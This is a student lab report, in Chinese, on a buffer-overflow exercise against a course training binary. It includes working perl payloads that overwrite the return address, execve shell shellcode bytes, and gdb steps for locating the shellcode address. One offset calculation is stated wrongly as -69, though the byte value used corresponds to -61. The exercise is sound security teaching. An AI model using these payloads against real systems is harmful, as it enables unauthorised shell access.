20232404zxy 2025-2026-1 《网络与系统攻防技术》实验一实验报告
一、实验内容
1. 实验任务
(1)直接修改pwn1的机器指令,将main函数中调用foo的指令改为调用getShell。
(2)利用foo函数中gets(无边界检查)的漏洞,构造输入字符串覆盖返回地址,触发getShell。
(3)注入自定义Shellcode,通过构造Payload使程序执行Shellcode,获取Shell。
2. 学习目标
(1)熟悉Linux基本操作及gdb调试。
(2)理解函数的缓冲区溢出漏洞以及攻击方式。
(3)学习Shellcode注入与执行的原理,掌握Payload构造方法。
二、实验过程
(一)直接修改程序机器指令,改变执行流程
Kali linux虚拟环境已经配置完成,pwn1已经转移到虚拟机中,并改名为pwnzxy。
1. 反汇编分析关键指令
首先通过objdump -d pwnzxy | more反汇编pwnzxy,找到main、foo、getShell的地址:
由分析可见getShell地址:0804847d
foo地址:08048491
main中调用foo的指令:080484b5: e8 d7 ff ff ff(e8为call指令,d7 ff ff ff为偏移量)
call指令的偏移量方式为目标地址-下一条指令地址。main中call foo的下一条指令地址为80484ba,原偏移量d7 ff ff ff是补码,对应十进制-41,计算验证:80484ba-41=8048491(foo地址),符合预期。
2. 计算目标偏移量(调用getShell)
需将call foo改为call getShell,重新计算偏移量:
目标地址(getShell):0804847d,下一条指令地址:080484ba
偏移量=0804847d-080484ba=-41+(-28)=-69(十进制),对应的32位补码为c3 ff ff ff。
3. 修改机器指令
先复制pwnzxy为pwnzxy1,用vi以十六进制模式编辑pwnzxy1,输入:%!xxd切换为十六进制视图。将偏移量从d7 ff ff ff改为c3 ff ff ff。输入:%!xxd -r转回原格式,wq保存退出。
4. 验证结果
反汇编pwnzxy1:objdump -d pwnzxy1 | more,确认main中call指令变为080484b5: e8 c3 ff ff ff,目标地址为0804847d(getShell)。
为pwnzxy1增加执行权限:chmod +x pwnzxy1
运行pwnzxy1:./pwnzxy1,可以进入shell,说明执行流程修改成功。
(二)构造输入参数,利用BOF攻击改变执行流
1. 反汇编分析漏洞点
foo函数中调用gets函数(0804849d: call 08048330 gets@plt),gets无输入长度检查,当输入超过缓冲区大小时会溢出,覆盖堆栈中的ebp和返回地址。通过反汇编可知:foo函数栈帧中,缓冲区地址为-0x1c(%ebp),缓冲区大小为0x1c=28字节,加上4字节的ebp,共需32字节填充缓冲区,第33-36字节将覆盖返回地址。
2. 确认返回地址覆盖位置(gdb调试)
启动gdb调试pwnzxy:gdb pwnzxy。
运行程序并输入测试字符串:r后输入1111111122222222333333334444444412345678(共40字节)。
程序触发SIGSEGV(段错误),显示eip=0x34333231(4321的ascii),说明第33-36字节覆盖了返回地址。
3. 构造攻击输入(覆盖返回地址为getShell地址)
getShell地址为0804847d,按小端序倒序为\x7d\x84\x04\x08。
用perl生成含该地址的输入文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input(前32字节填充缓冲区,后4字节覆盖返回地址,\x0a为回车)。
验证输入文件:xxd input,确认第33-36字节为7d 84 04 08。
4. 触发BOF攻击
通过管道将input作为pwnzxy的输入:(cat input; cat) | ./pwnzxy,成功获取Shell,输入ls可查看目录文件。
(三)注入 Shellcode 并执行
1. 前期环境准备
本实验的前置条件为以下五条:(1)关闭堆栈保护(2)关闭堆栈执行保护(3)关闭地址随机化(4)在x32环境下(5)在Linux实践环境。通过对应命令及实验环境准备,均已满足。
2. 构造基础 Payload 与初步测试
用perl生成基础Payload,保存到input_shellcode文件:
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。此处先占位,后续需要确定shellcode的地址,并修改此处。
使用xxd input_shellcode确认输出前几行是90 90 90...最后是设置的占位数据。
3. 调试确定Shellcode地址
(1)打开第一个终端,执行命令让pwnzxy等待接收Payload,此时终端等待输入。
(2)在第二个终端用gdb调试,找到pwnzxy的进程号。
gdb已成功附加到pwnzxy进程。
(3)在终端2,通过反汇编foo函数找到ret指令地址,设置断点;
回到终端1,按Enter键发送Payload,程序在终端2的gdb中触发断点,显示 Breakpoint 1, 0x080484ae in foo ()。
(4)堆栈中0x01020304是input_shellcode中设置的占位返回地址,对应的地址是0xffffd3dc,因此shellcode地址是ESP_ADDR+4字节,即0xffffd3e0,需将之前占位的\x4\x3\x2\x1改为此地址(小端序为\xe0\xd3\xff\xff)。
4. 重新生成Payload并验证
因之前input_shellcode中写入错误数据导致实验未成功,重新生成input_shellcodenew:
perl -e 'print "A" x 32;print "\xe0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcodenew
通过xxd确认已将shellcode地址注入,将此文件作为最终Payload传入程序,成功获取到Shell。
三、问题及解决方案
问题1:任务1中的e8d7未找到
解决方案:之前查询时,指令中间无空格,加入空格后可以找到目标指令。
问题2:execstack无法下载
解决方案:首先尝试通过wget下载execstack时提示 "ERROR 404: Not Found",无法获取工具;群里的下载链接已失效,学习通的prelink源码下载到虚拟机后编译也出现报错;
用gcc直接编译execstack源码仍有问题。
最后通过查询新命令,解决该问题。
问题3:注入 Shellcode 时触发 "zsh: segmentation fault ./pwnzxy",程序崩溃
解决方案:检查Payload结构,发现未用32字节A填充缓冲区,导致返回地址覆盖位置错误,重新生成 Payload 时补充"A"x32,解决该问题。
四、实验感悟
本次实验让我收获颇丰。先是kali虚拟机的安装,从官网直接下载其虚拟机版本十分便捷,解压到本地后,用VMware打开就能直接使用,省去不少环境配置的麻烦。后续实验中,我对缓冲区溢出的过程与攻击手段有了更深刻的理解。而且Gitee上的实验指导也让我懂得要先明晰整体流程,再分步操作,不能忽视原理、盲目复制命令。
参考资料
ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com

浙公网安备 33010602011771号